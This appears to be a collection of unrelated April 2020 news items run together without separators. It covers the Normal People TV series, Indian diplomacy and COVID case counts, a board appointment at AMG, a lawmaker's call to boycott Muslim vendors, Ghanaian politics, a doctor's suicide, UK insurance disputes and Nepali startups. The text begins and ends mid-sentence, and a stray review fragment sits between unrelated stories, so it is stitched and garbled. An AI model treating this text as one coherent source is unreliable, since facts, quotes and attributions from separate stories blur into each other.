MacDonald). The 54-year-old Abrahamson said he was interested in taking on a project about younger people. Its about a generation that I think we dont do justice to very often, he told the Financial Times. We either make it cute, or we pathologize it Somebody like Sally, who is so close to that generation and treats it really seriously, I found that really great. It was filmed on location in Ireland Normal People | Hulu In the novel, Connell and Marianne grow up in County Sligo on Irelands western coast. Scenes set in the pairs fictional hometown of Carricklea were filmed in Sligo, PopSugar noted. Other scenes were shot on the campus of Dublins Trinity College, where Connell and Marianne attend university. Getting locations right was important, Rooney told the BBC. The book is set in a small fictional town in County Sligo, and in a few specific locations in Dublin, and none of us really felt that those places were generic or interchangeable, she said. We were committed to getting the environment right and doing justice to the specific setting of the story, and I think thats become an important part of the show. There was an intimacy coordinator on set Theres a lot of sex in Normal People, which meant hiring an intimacy coordinator who made sure the actors were comfortable and their boundaries were respected. Abrahamson admitted he was a bit skeptical of the idea at first, but once he saw how she worked, he was convinced of the value, especially when working with younger, more inexperienced actors. She takes the shyness away, and finds a way of negotiating touch and consent, which is really simple but which always goes back to the actors to make sure that theyre comfortable with whats happening, he told the Financial Times. All 12 episodes of Normal People are streaming on Hulu beginning April 29. Read more: Little Fires Everywhere: Why Author Celeste Ng Loves What the Hulu Show Added to Izzy Check out Showbiz Cheat Sheet on Facebook! Prime Minister Narendra Modi discussed the novel Coronavirus pandemic with his Canadian counterpart, Justin Trudeau, over the phone and thanked him for Canada's care towards the Indian community there. The two leaders exchanged views today on the welfare of Indian citizens, collaboration in medical research and maintaining supply chains for fighting the pandemic. Had a warm exchange with PM @JustinTrudeau. Thanked him for looking after Indian citizens in Canada in these difficult times. Collaboration and partnership between India and Canada is vital to fighting the pandemic including through medical research and supply chain management. Narendra Modi (@narendramodi) April 28, 2020 READ | PM Modi Discusses COVID With Indonesian Prez, Says 'close Cooperation Will Be Important' PM talks to Indonesia Prez Earlier in the day, PM Modi also called Indonesian President Joko Widodo to discuss the ongoing Coronavirus pandemic. Taking to Twitter, PM Modi said that close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis. Amid the ongoing crisis, the Prime Minister has been reaching out to leaders of several countries ensuring and assuring cooperation in battling the COVID-19 pandemic. READ | Bhutan PM Thanks PM Modi For Medical Supplies; Hails India's 'genuine Friendship' Diplomacy amid COVID India has assured its friendly neighbours and other allies of cooperation and has continued assisting foreign nations in a show of solidarity amid the pandemic that has infected over 3 million people worldwide. Recently, India contributed towards medical and food supplies to several smaller nations and has exported vast sums of most-sought drugs like Hydroxychloroquine (HCQ) and paracetamol. PM Modi has consistently stayed in touch with many world leaders, especially of those countries' which host a significant Indian diaspora. READ | Himachal CM Writes To PM Modi; Seeks Financial Aid For Workers In The Unorganised Sector READ | At BRICS Meet, Russia Lauds India For Repatriating Citizens & Agreeing To Supply Medicines New independent Director will enhance diversity of expertise within AMGs Board of Directors Nathaniel Dalton and Niall Ferguson announce their intention not to seek re-election at 2020 Annual Meeting WEST PALM BEACH, Fla., April 28, 2020 (GLOBE NEWSWIRE) -- Affiliated Managers Group, Inc. (NYSE: AMG), a global asset management company, today announced the appointment of Reuben Jeffery to its Board of Directors, effective immediately. Reuben Jeffery III served as President and Chief Executive Officer and member of the board of Rockefeller & Co. and Rockefeller Financial Services, Inc. from 2010 to 2018. He previously served seven years in the U.S. government in a variety of positions, including as Under Secretary of State for Economic, Energy and Agricultural Affairs; Chairman of the U.S. Commodity Futures Trading Commission; and as Special Assistant to the President on the staff of the National Security Council (2002 2009). At Goldman, Sachs & Co., Mr. Jeffery was Managing Partner of the firms Paris office and of its European Financial Institutions Group in London. He began his career as a corporate attorney with Davis Polk & Wardwell LLP. Currently, Mr. Jeffery serves as a board member of Barclays US LLC and a senior advisory board member of TowerBrook Capital Partners, L.P. He served as a non-executive director at Barclays Plc from 2010 to 2019. Mr. Jeffery received a B.A. in Political Science from Yale University and an M.B.A. and J.D. from Stanford University. I am very pleased that Reuben is joining AMGs Board, said Sean M. Healey, Executive Chairman of AMG. Reuben brings a distinguished track record of leadership, capital allocation decision-making, and service on public company boards, along with extensive global financial services experience that will further diversify the Boards broad expertise. Reuben has a diverse leadership background across investment management, broader financial services, and public affairs and policy, and I look forward to working with our outstanding new Director, said Jay C. Horgen, President and Chief Executive Officer of AMG. As we continue to execute on AMGs growth strategy and allocate capital to the areas of highest growth and return in our business, I am confident that Reubens perspective will be greatly additive to our Board. Separately, the Company also announced the decisions of Nathaniel Dalton and Niall Ferguson not to stand for re-election to the Board when their terms expire in June 2020. Mr. Dalton has served as an executive member of AMGs Board of Directors since 2018. Mr. Ferguson has served as an independent director since 2014. Mr. Healey added, I am profoundly grateful to Nate for his friendship and support over the past 25 years, and am deeply proud of our work together in building AMG over the decades. We all wish Nate the very best as he increases his focus on other interests. I also thank Niall for his tremendous service to AMG over the past six years, and wish him every success in his future endeavors. About AMG AMG is a global asset management company with equity investments in leading boutique investment management firms. AMGs strategy is to generate longterm value by investing in leading independent active investment managers, through a proven partnership approach, and allocating resources across the Company's unique opportunity set to the areas of highest growth and return. AMGs innovative partnership approach allows each Affiliates management team to own significant equity in their firm while maintaining operational autonomy. In addition, AMG provides centralized assistance to its Affiliates on strategy, marketing, distribution, and product development. As of March 31, 2020, AMGs aggregate assets under management were approximately $600 billion across a broad range of active, return-oriented strategies. For more information, please visit the Companys website at www.amg.com. Investor Relations: Anjali Aggarwal Media Relations: Jonathan Freedman +1 (617) 747-3300 ir@amg.com pr@amg.com The ruling Bharatiya Janata Party on Tuesday issued a notice to its lawmaker Suresh Tiwari in Uttar Pradesh asking him to explain his comments asking people to boycott Muslim vegetable vendors and why action should not be initiated against him over them. Tiwari, the lawmaker from Barhaj in Deoria district, was on Tuesday heard purportedly calling for the boycott to avoid contracting Covid-19. On the instructions of the [state] party chief Swatantra Dev, party general secretary Vidyasagar Sonker has issued notice to Tiwari and asked him to explain his conduct and why action should not be initiated against him, said BJP leader Manish Dixit. Tiwari admitted to having called for the boycott, saying say he did so as a precautionary measure to protect people from getting infected. On April 18, I was distributing masks among people in Deoria when people complained that Tablighi Jamaat was spreading the infection. Many of them were worried that Muslim vendors were infecting vegetables with saliva. As responsible MLA, I asked them not to take the law into their hands to deal with situation but simply stop buying vegetables from them [Muslims]. Tell me what wrong I have done if I have said such things, Tiwari said. Muslim vendors have particularly found themselves isolated and drummed out of business since Tablighi Jamaat headquarters in Delhi emerged as a Covid-19 hotspot following a congregation there last month. Congress leader Ajay Kumar Lallu accused the BJP of spreading hatred even at the time of the pandemic. When the country is reeling under severe crisis of coronavirus, BJP leaders are busy fanning hatred. It is a shameful act which has exposed the real face of BJP. The Tablighi Jamaatis, who are being blamed for spreading coronavirus, have set an example by offering to donate their plasma to cure patients. I am confident the countrymen will put up a united fight against Covid-19 by neglecting such comments, Lallu said. (With PTI inputs) The Mass Action Committee has condemned the opposition National Democratic Congress (NDC) attacks on the Electoral Commission. According to the Committee, such attacks have the tendency to plunge Ghana into unspeakable chaos. The Mass Action Committee has noted with concern, actions of some individuals including Members of Parliament that do not only appear to offend the laws of Ghana but also have the tendency to plunge our dear country into unspeakable chaos. It was reported on Saturday 25th April, 2020 that, a group of supporters allegedly belonging to the NDC led by one Sam George, thronged the City Escape Hotel ostensibly to disrupt an ongoing meeting by the Electoral Commission, the Committee said in a statement signed by Atik Mohammed, its Executive Secretary. The said meeting we understand was one of the routine meetings the Commission holds prior to major events on their calendar. To this end, the commission felt no need to request the presence of security officials. In conducting this meeting also, the Commission we are told, was mindful of the safety protocols as were announced by the President and therefore, same were observed during the meeting. However, unbeknown to the Commission, a group of people led by the MP for Ningo Prampram and the NDC Parliamentary Candidate for the Ayawaso West Wuogon Consituency, exploited the absence of security personnel to mass up at the venue issuing all kinds of threats and demanding that, the Commission halts the meeting. It narrated that We find these actions repugnant and should not be allowed to go unanswered. It is the view of MAC that, the mob's presence at the meeting venue and their ensuing actions posed a danger to the safety of the EC officials. We further contend that, these actions could have degenerated into chaos but for the timely arrival of the police and national security officials. To the extent that these actions violate our laws, we demand that the police administration arrest and prosecute the perpetrators. In making this demand, we are minded by the fact that, Ghana is ruled by law and not men. To this end, we will be petitioning the Inspector General of Police to cause an investigation to be conducted into the matter and those found culpable dealt with according to law. We like to also suggest that, the Electoral Commission engages with the security agencies for adequate provision of security during their meetings and activities, be they routine or otherwise. Meanwhile, we observe that the involvement of Mr. Sam George in matters that unfortunately eventually degenerate into electoral conflict is becoming trendy. We like to admonish him as a Member of Parliament, to rethink his approaches to issues of electoral concern whiles drawing the attention of our security agencies to this fact. ---Daily Guide A New York emergency doctor who treated coronavirus patients has killed herself, with family, police and physicians linking her death to trauma faced by health care workers battling the outbreak. Lorna Breen, 49, died on Sunday from self-inflicted injuries in Charlottesville, Virginia, where she had been staying with her family, police said in a statement. Breen ran the emergency department of New York-Presbyterian Allen Hospital in Manhattan, a facility that has seen a huge influx of COVID-19 patients. While it is not clear why she took her own life, her family, police and doctors suggested stress caused by the outbreak had contributed to her death. "She tried to do her job and it killed her," her father Philip Breen told The New York Times. He said she had no history of mental illness and had contracted coronavirus herself before returning to work and then being sent home. "Frontline healthcare professionals and first responders are not immune to the mental or physical effects of the current pandemic," said Charlottesville police chief RaShall Brackney. The president of the American College of Emergency Physicians, of which Breen was a member, said her death was a tragic reminder of the suffering that many health care workers are going through. "The impossibility of the situation in many of our hospitals leaves us deeply wounded. "I can only imagine for Dr. Breen it was more than she could bear -- not out of weakness, but out of the strength of her compassion," William Jaquis said in a statement on the group's website. The hospital where she worked described her as "a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department." More than 17,300 people have died from COVID-19 across New York state, the epicenter of America's outbreak. The late Lorna Breen ran the emergency department of New York-Presbyterian Allen Hospital in Manhattan, a facility that has seen a huge influx of COVID-19 patients All insurers are being warned they must not seek to profit from the pandemic. The industry is expected to pay out more than 1.2 billion due to the virus, according to the Association of British Insurers (ABI). But firms are already facing legal action after refusing payouts to crippled businesses, while others are expected to profit from a fall in claims elsewhere. James Daley, of Fairer Finance, says: 'Insurers must make it clear that they will do the right thing by their customers, and that this isn't just an opportunity to bolster their bottom line.' Here Money Mail runs the rule over where households could lose out Squeeze: The industry is expected to pay out more than 1.2 billion due to the virus, according to the Association of British Insurers Travel cover Premiums are up by more than 20 per cent compared to last year, while the number of products available is down by a third. It comes as the ABI said it expects insurers to pay a record 275 million to customers whose trips have been cancelled due to coronavirus. The cost of an average single trip policy has increased from 26 to 31 over the year to March, according to GoCompare. One Money Mail reader said her annual premium had soared from 63 to 212, even though she had not made a claim. Customers are also out of pocket due to costly cover they no longer need. Retired Royal Marine Bruce Myles paid 458 for cover with Staysure, but it is now worthless because his trip to Hurtigruten in Norway on March 21 was cancelled. Bruce, 79, and his wife Anne, 77, from Plymouth, Devon, have been able to rebook the trip, but Staysure refused to transfer the policy or provide a refund. Instead, the insurer has offered a 22 voucher or 20 per cent off his next policy. Bruce says: 'I have lost 458, a sum I can ill afford to lose, as a pensioner.' Staysure says its underwriters are not allowed to cover customers for more than 13 months after the policy was sold and the rebooking falls outside this window, but it is working to improve its offer. Business owners left in lurch Brokers are being sent scripts to help them fob off businesses making claims due to the coronavirus. One script obtained by insurancejustice.co.uk tells brokers to say: 'There isn't any cover under the business interruption. 'There are specific exclusions relating to pandemics which totally contradict [the Chancellor].' That is despite the Association of British Insurers saying it expects to pay out 900 million in business interruption claims due to the pandemic. But UK Hospitality says 71 per cent of its members have had claims rejected, with just 1 per cent of its members having any success with claims. And more than 450 small firms are planning to launch separate legal actions against Hiscox and RSA after the insurers said they would not pay out on coronavirus losses. Pub and B&B owner Rhiannon Maguire, 40, says she has been trying to make a claim for six weeks with no success, despite paying 850 a year. She says: 'I can only assume if they pay everyone out, then they will bankrupt themselves. So is the better option to allow businesses to go bankrupt instead?' Her insurer, China Taiping, says it is committed to paying out all valid claims and will confirm its position within the next couple of days. Driving bill Insurers are expected to make huge savings from a drop in motor claims as drivers are warned against all non-essential travel. The industry could make an extra 1 billion in profits if claims fall by 50 per cent over three months, according to pay-as-you-go insurer Cuvva. Last week Admiral said it would give 25 back to each of its customers, piling pressure on others to follow suit. But insurer By Miles estimates that drivers could be up to 58 out of pocket by the end of a two-month lockdown. Meanwhile, motorists with 'telematics' or 'black box' policies, which offer lower premiums for driving safely, are losing out because they are no longer using their cars. Quinn Mitchell, 18, from St Neots, Cambs., is paying 1,329 per year to insure his Kia Picanto with Adrian Flux. He would normally get a 67p discount for every day he didn't drive, as a reward for lowering the risk he posed. But days after the lockdown was announced, this was cut to 42p, then to 18p the following day. Quinn's dad Dean, 50, says: 'It feels as though they are trying to make a profit from the coronavirus lockdown.' Adrian Flux says it is trying to amend its programming and will return savings to safe drivers. Health costs Pressure is mounting to compensate health insurance customers after private facilities were handed over to the NHS. Peter Gant, 83, pays 322 per month for a medical scheme with Axa PPP. The pensioner says he fully supports prioritising the NHS, but questions why premiums have not been reduced to reflect restricted access. Peter, from Newport, Shrops., says that 'minor benefits' offered by Axa, such as online access to doctors, are no substitute for access to private medical treatment. Axa expects claims to level out after the pandemic is under control and customers catch up on treatment. It has vowed to pass on any overall cost reductions, but customers may have to wait until March 2022 for any refunds. At home Home insurance claims could fall during the lockdown as more people stay indoors, according to comparethemarket.com. Aviva says it has already seen a drop in claims for burglaries, accidental damage and water leakage, as homeowners are able to fix problems more quickly. Private landlords claiming for unpaid rent are also being rejected due to small print. 'Rent protection' or 'rent guarantee' is usually sold as extra cover on a standard landlord insurance policy. But while many think it will pay out if a tenant can't afford rent, small print usually insists an eviction must be in progress or have taken place. Most policies exclude claims that arise as a result of government action. An ABI spokesman says: 'Many [business] insurers have extended unoccupied premises conditions. 'Additional help includes motor policies being extended to cover volunteer driving, travel insurance being extended to travellers stuck abroad, and enhanced online medical services under private health insurance.' m.dilworth@dailymail.co.uk Ghana's COVID-19 case count has gone up to 1671 according to the Ghana Health Service. The number of recoveries has increased from 155 to 188. This was disclosed by the Director-General of the Ghana Health Service (GHS), Dr. Patrick Aboagye at a press briefing on Tuesday, April 28, 2020. Ghana currently has 1,671 cases confirmed as at this morning. Out of this 563 has come from general surveillance which those who fall ill and approached the hospital and were tested. 105 still remains part of the earlier quarantined in Tamale and those we have from the enhanced tracing thats the group that we actually went out to look for, we found a 1,113 bringing our total to 1,671. Currently, about 1,461 are well or no symptoms and are responding very well to treatment" he said. Per an update on the GHS website, the death toll has risen to 16. Below is the Regional Breakdown -Greater Accra Region - 1,433 -Ashanti Region - 84 -Eastern Region - 57 -Upper East Region - 18 -Oti Region - 17 -Central Region - 17 -Northern Region - 13 -Volta Region - 11 -Western Region - 9 -Upper West Region - 8 -North East Region - 2 -Western North Region - 1 -Savannah Region - 0 -Bono Region - 0 -Ahafo Region - 0 -Bono East Region - 0 Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Although I haven't read Rooney's novel, I still felt very much in the grip of a story in which the unsaid is as important as what is said, the kind of thing you get from words on a page. So much of the TV version of "Normal People" (which Rooney co-wrote with Alice Birch and Mark O'Rowe) is revealed in its quick-clip editing, timeline structure and atmospheric details. The marginal things become magnified and emotionally significant. If someone can't get the feels from this one, you might want to check their pulse. [April 28, 2020] The Sohagi Law Group's Nicole Gordon Among Los Angeles' Top Women Attorneys Environmental and land use law firm The Sohagi Law Group announced today that Partner Nicole Gordon is again among the honorees in the Los Angeles Business Journal's annual special supplement recognizing the City's top women attorneys. The Journal's Publisher and CEO Josh Schimmels writes, "during this challenging time battling the coronavirus, we are relying on our trusted advisers more than ever. In times of uncertainty, lawyers . . . are particularly needed to help our businesses respond and react to issues at hand." The Sohagi Law Group's Founding Partner Margaret Sohagi said, "Nicole is an incredibly talented professional, and she continually demonstrates her capacity to deiver the highest level of strategy and service to the firm's clients." The Publisher explains in the feature, "Los Angeles is truly a national leader when it comes to influential women - and the field of law is no exception." The honorees have been recognized for "exceptional legal skill and achievement across the full spectrum of responsibility, exemplary leadership as evidenced by the highest professional and ethical standards, and for contributions to the Los Angeles community at large." Gordon, who received the honor last year for one of Los Angeles' Most Influential Women Attorneys, has a practice that involves primarily "advising public agencies on complex environmental and land use planning matters at the administrative, trial and appellate level," says the special supplement, published today. "She focuses her practice on the California Environmental Quality Act (CEQA), the National Environmental Policy Act (NEPA), the federal and California Endangered Species Act (ESA) and Planning and Zoning Laws." Gordon's experience includes complex renewable energy projects, transmission lines, harbor improvements, airport expansions, transportation improvements, and public works projects. She serves as a frequent lecturer on environmental matters at various public and private workshops, including courses and conferences sponsored by UCLA, the Association of Environmental Professionals, and the American Planning Association. The report adds that Gordon, a Middlebury College alum who obtained her J.D. from USC, "is at the forefront of the environmental law issues with which public agencies must grapple." The Sohagi Law Group is full service environmental and land use law firm, offering preventative legal advice combined with the full spectrum of litigation services, including alternative dispute resolution. At SLG, we are committed to providing cost-effective solutions to the multi-layered legal and political issues that arise in the public law arena. We have an AV rated state-wide reputation for efficiently handling complex transactional and litigation matters. For more information, visit http://www.sohagi.com/ View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005677/en/ [ Back To TMCnet.com's Homepage ] During the BRICS Ministers of Foreign Affairs' video conference on Tuesday, Russia lauded the role of India in tackling the novel coronavirus crisis. Russian Foreign Minister Sergey Lavrov thanked India for ensuring the repatriation of 2000 stranded Russian nationals. According to him, this was a clear confirmation of the friendly ties and "privileged strategic partnership" between the two countries. Lavrov noted that his country understood that there were difficulties in evacuation due to the strict restrictions imposed by the Indian government for fighting COVID-19. He also expressed his gratitude to India for agreeing to supply a large consignment of medicines including hydroxychloroquine and paracetamol to Russia. Thereafter, he exuded confidence that the constructive cooperation with India in this area shall continue in the ongoing difficult period. Read: Jaishankar Speaks To Australia Counterpart; Says India Responding 'positively' Over Drugs BRICS Foreign Ministers meeting Russia, the current BRICS chair convened the extraordinary meeting in the wake of the novel coronavirus crisis. It was attended by External Affairs Minister S Jaishankar, Brazil Foreign Minister Ernesto Araujo, Chinese Foreign Minister Wang Yi, and South African Minister of International Relations Grace Naledi Pandor. While the meeting mostly focused on the COVID-19 crisis, its impact, the BRICS response, the Foreign Ministers also discussed the activities to be undertaken under the Russian BRICS Chairmanship in 2020. Read: EAM Jaishankar Dials Iranian Counterpart Javad Zarif, Discusses Steps To Combat COVID-19 In his remarks, the External Affairs Minister noted that BRICS which is home to almost 42% of the world population has an important role in shaping the global economic and political architecture. Jaishankar went on to elaborate on the measures taken by the Narendra Modi government such as the Aarogya Setu app and the Pradhan Mantri Garib Kalyan package. He apprised the other Foreign Ministers about the creation of the COVID-19 Emergency Response Fund by the SAARC countries. Thereafter, he observed that India is providing pharma assistance to 85 nations. Maintaining that reformed multilateralism was the way forward, Jaishankar referred to the centrality of development and growth in the global agenda. A meeting of BRICS Health officials is expected to be held on May 7. Participated in the #BRICS Foreign Ministers Meeting on #coronavirus. Shared Indias experience and underlined our commitment to international cooperation and reformed multilateralism. https://t.co/zimTe3BmWm pic.twitter.com/Okmrq5izVE Dr. S. Jaishankar (@DrSJaishankar) April 28, 2020 Read: Jaishankar Discusses Coronavirus With Counterparts From Qatar, Niger, UAE, Palestine Read: EAM Jaishankar Speaks To African Nations Counterparts; Assures Them India's Covid Goodwill NEW YORK A prominent Manhattan emergency room doctor who had treated a staggering number of coronavirus patients killed herself in Virginia, authorities said Monday. Dr. Lorna Breen, 49, the medical director of NewYork-Presbyterian Allen Hospitals emergency department, died by suicide in Charlottesville, a spokesman for the local police department told the New York Daily News. Spokesman Tyler Hawn said police responded to a call Sunday seeking medical help, and Breen was rushed to UVA Health System University Hospital but succumbed to self-inflicted injuries. She gave what she had, and shes a casualty of the war in the trenches, as far as Im concerned, her father, Philip Breen, told the Daily News. Shes a true hero. Dr. Lorna M. Breen, a top emergency room doctor at a Manhattan hospital that treated coronavirus patients, died by suicide on Sunday, according to her father, Dr. Philip C. Breen. She tried to do her job," he said, "and it killed her." https://t.co/9eOiEMdkrV The New York Times (@nytimes) April 27, 2020 Breens father said the crush of coronavirus cases his daughter handled was overwhelming, and that she herself became ill with COVID-19, though she went back to work after a week and a half. She had no history of depression, he said. She was a very outgoing, very energetic person who, I dont know what snapped, but something blew up in her, and so she ended up taking her own life, he said. She just ran out of emotional gas. He said his daughter traveled to Charlottesville to stay with her sister after the hospital sent her home a second time. She stayed home about a week and a half, but I think she felt guilty about not being at work, her father said. The last time I talked to her was before she went in for her 12-hour shift that she couldnt finish. Just before she went back, she said that the ambulance had been waiting outside the building for over three hours with sick people. They couldnt even get the people out of the ambulances in there, he added. On Monday, Columbia University Irving Medical Center and NewYork-Presbyterian hailed her tireless devotion to her work. Dr. Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department, the statement said. Words cannot convey the sense of loss we feel today. The statement added tht the hospital would focus on providing support to her family, friends and colleagues as they cope with this news during what is already an extraordinarily difficult time. The Charlottesville Police Department also extended its condolences. Personal Protective Equipment (PPE) can reduce the likelihood of being infected, but what they cannot protect heroes like Dr. Lorna Breen or our first responders against is the emotional and mental devastation caused by this disease, Charlottesville Police Chief RaShall Brackney said. Breen, a devout Christian who was one of four siblings, traveled the world to give lectures on emergency medicine, and to hike and snowboard, her grieving father recalled. She was a salsa dancer and she played the cello, he said. She was working on her masters degree in business administration also. Breen loved New York City, he said. I sort of hope that when this is over, there may be a wall of heroes in New York someplace. She should have her plaque on there. She gave it all for her city. For those contemplating suicide, the National Suicide Prevention Lifeline is reachable 24/7 at 1-800-273-8255. Individuals can also call 911 for help. By John Annese, New York Daily News (TNS) More: Heres a list of mental health services available to Pa. residents struggling during the coronavirus Is COVID-19 isolation a good time to adopt a pet? This is for the long haul Having trouble with the IRS site? Try all caps to get yourself in The death toll due to COVID-19 rose to 934 and the number of cases climbed to 29,435 in the country on Tuesday, according to the Union Health Ministry. The number of active COVID-19 cases stood at 21,632, while 6,868 people have recovered and one patient has migrated, the ministry said. The total number of cases include 111 foreign nationals. A total of 48 deaths were reported since Monday evening of which 27 fatalities were reported from Maharashtra, 11 fromGujarat, five from Rajasthan, four from Madhya Pradesh and one from Jammu and Kashmir. Of the 934 deaths, Maharashtra tops the tally with 369 fatalities, followed by Gujarat at 162, Madhya Pradesh at 110, Delhi at 54, Rajasthan at 46 and Andhra Pradesh and Uttar Pradesh at 31 each. The death toll reached 26 in Telengana, 24 in Tamil Nadu while West Bengal and Karantaka have reported 20 deaths each. Punjab has registered 18 fatalities so far. The disease has claimed seven lives in Jammu and Kashmir, four in Kerala while Jharkhand and Haryana have recorded three COVID-19 deaths each. Bihar has reported two deaths, while Meghalaya, Himachal Pradesh, Odisha and Assam have reported one fatality each, according to the ministry's data. The ministry's data updated in the morning stated that the highest number of confirmed cases in the country are from Maharashtra at 8,590 followed by Gujarat at 3,548, Delhi at 3,108, Rajasthan at 2,262, Madhya Pradesh at 2,168, Uttar Pradesh at 1,955 and Tamil Nadu at 1,937. The number of COVID-19 cases has gone up to1,183in Andhra Pradesh and1,004 in Telangana. The number of cases has risen to 697 in West Bengal,546 in Jammu and Kashmir,512 in Karnataka, 481 in Kerala, 345 in Bihar and 313 in Punjab. Haryana has reported 296 coronavirus cases, while Odisha has 118 cases. Eighty-two people have been infected with the virus in Jharkhand and 51 in Uttarakhand. Himachal Pradesh and Chandigarh have reported 40 cases each, Chhattisgarh has 37 cases while Assam has registered 36 infections each so far. Andaman and Nicobar Islandshas33 COVID-19 cases while Ladakh has reported 20infections. Meghalaya has reported 12 cases,Puducherry has eight cases while Goa has seven COVID-19 cases. Manipur and Tripura have two cases each, while Mizoram and Arunachal Pradesh have reported a case each. "Our figures are being reconciled with the ICMR," the ministry said on its website. States-wise distribution is subject to further verification and reconciliation, it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Japanese Ambassador Matsuda Kuninori here Monday called on Federal Minister for National Food Security and Research Syed Fakhar Imam ISLAMABAD, (UrduPoint / Pakistan Point News - 27th Apr, 2020 ) :Japanese Ambassador Matsuda Kuninori here Monday called on Federal Minister for National Food Security and Research Syed Fakhar Imam. The minister told Ambassador that Pakistan is among major wheat exporters of the world because of adverse weather conditions wheat export would be affected this year. Pakistan and Japan should increase collaboration in transfer of technology and information in agriculture sector. The minister also emphasized role of Japan in agricultural machinery. Pakistan also required assistance from Japan in growing crop seeds technology he added. Japanese Ambassador said Pakistan was one of the major agricultural products exporter and many countries depend upon Pakistan for rice and fruits. Japan is already working (in Pakistan) on various projects and many Japanese companies are willing to invest in agriculture sector in Pakistan. He said ongoing locust situation was the biggest thread to food security for Pakistan. Japan is willing to help Pakistan to acquire pesticides and other essential products. Japan is also helping Pakistan financially in current COVID 19 epidemic. Pakistan does export fruits and vegetables, but the quantity is limited to cater the increasing demand of Japanese market especially of mangos. The minister emphasized that the government wanted to enhance flori culture in Pakistan and assistance from japans' government would be highly valuable. In the meeting it was discussed that Japan would facilitate Pakistan to control locust, in value addition of fruits and vegetables and Flori culture specially tulip and roses. Collaboration in sectors of fishery, livestock, poultry etc should also be enhanced. The minister also acknowledge the ongoing projects and collaboration of Japanese Government in Pakistan. Japanese Ambassador ensured further financial assistance and collaboration in agriculture sector by the Japanese Government. Mongolia has shelved near-term initial public offering plans for state-owned coal miner Erdenes Tavan Tolgoi (ETT) as the Covid-19 pandemic roils financial markets. The country's cabinet partially repealed a resolution that called for immediate action for ETT's overseas offering, while an international share sale plan remains the goal for the long term, according to a statement posted on the government's website on Monday. The authority urged ETT to turn its focus to a long-delayed railway project to link its Tavan Tolgoi coal mine with China. The Mongolian coal miner was working with an adviser for preparations of a planned Hong Kong IPO that could raise more than US$1 billion, Bloomberg News reported in October. The company was targeting a listing in the Asian financial hub as soon as this year, people familiar with the matter have said. The delay comes as first-time share sales have slowed globally on weak market sentiment. Companies have raised about US$2.3 billion in Hong Kong through IPOs so far this year, a 43 per cent drop from the same period in 2019, according to data compiled by Bloomberg. Chinese biotech firm Akeso raised US$333 million in the city's biggest listing in 2020. Tavan Tolgoi, which means "five hills," refers to the original location of the coal ore, according to its website. Tavan Tolgoi coal mine, located in the Gobi desert, is the largest coal ore deposit in Mongolia. Its deposit is estimated at a total of over 6 billion metric tons of coal, more than one-third of which is high-grade hard coking coal, the website said. A share sale would have marked at least a third effort to raise money to develop the Tavan Tolgoi mine after international partnerships failed in 2011 and 2015. Mongolian lawmakers in 2018 approved a plan to sell up to 30 per cent of Tavan Tolgoi mine. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. Namgyal Dorjee Sherpa and some of his friends started Customandu in December last year. Their team had dreamed of earning some good profits within a few months. However, their dream has got shattered now. We are not in operation for now. We are not shut down; we will be starting again. But, this may take some time even after the lockdown ends, Sherpa, a cofounder of the shoe customisation company, says, As of now, we have stopped taking orders and have requested our customers to wait till we are instructed to do business in a safe manner. The Covid-19 pandemic has halted the movement of the whole world. From an individuals daily home-to-workplace routine to the governments functioning, all have been directly or indirectly affected by this catastrophe. This unprecedented pandemic and the resultant lockdown have impacted all kinds of businesses, but startups are worst hit, claim some startup runners including Sherpa claiming they are more vulnerable to recent changes in the market situation. Whereas a few of the startups might be thriving due to their nature of focusing on emergencies, most have changed their regular operation model to sustain and some of them have completely shut down their business activity for now. Big blow Sherpa explains that his company has been severely affected by the lockdown as the international supply chain has been obstructed. We order our accessories mainly from the USA, and the lockdown in various countries has affected the supply of our goods. There are many people like us Likewise, Dulwa, a web-based travel information centre, has also halted its regular business amidst the lockdown. Nipun Shakya, the founder of the startup, says, Business-wise, during the lockdown, our revenue is zero. Being a tourist information centre, with zero mobility of people in and out of the country, our routine work has been completely shut as of now. Nevertheless, he informs that Dulwa, in collaboration with different donors, is actively working to serve humanity during this hard time by distributing various relief packages to the needy ones following all the precautions and the rules stated by the government. Transformation In adapting to the new challenges, some startups have changed the way they work. Kokroma, a startup that manufactures and sells baby clothes, has adopted the work-from-home practice to sustain during this pandemic. Rewati Gurung, the companys founder, shares, It was completely shut down for the first two weeks. Since Kokroma is situated on the ground floor of my home and our tailors also live in the same neighbourhood, we came up with the idea to work from home. They pick up the cut cloth from the office and take it to sew at home and deliver completed products every few days. She stresses, We are still able to function because all our raw materials are locally produced, and we do not rely on imports except for a few items like zippers or buttons. Likewise, Offering Happiness, a surprise event, and gift planning company, has come up with flexible business models to sustain during this crisis. Santosh Pandey, a cofounder of the startup, describes, We stopped our delivery service for a while, preparing for safety and evolving our business model. Our whole team is working from home. According to Pandey, the company has also started delivering bakery items and essential goods as well considering the changed needs of the customers. We have tried our best to go lean as much as possible so that we will have a good runway ahead. Support for employees As most of the businesses are closed these days, there is a heated debate regarding the employees pay. Even the so-called stable and bigger companies are finding it difficult to pay their staffs full salary on time. For startups, apparently, it is much more difficult to support their staffers when the economic activities of the companies are completely shut. Defying this belief, however, startups like Kokroma and Offering Happiness claim they have set an example. Gurung informs, At the beginning of the lockdown, we paid our staff two weeks full salary even when there was no work. Now, as they are working from home, they are fully employed. Our staff were given important information regarding social distancing and hygiene at the start of the lockdown. They have been working full time at home since with no loss of income. Similarly, Pandey shares, We are paying a regular salary to our team. We are proactively taking daily temperature readings of all our delivery personnel and ground staff. Our delivery personnel also wear PPE suits, masks, gloves, and are taking all safety measures before, during, and after 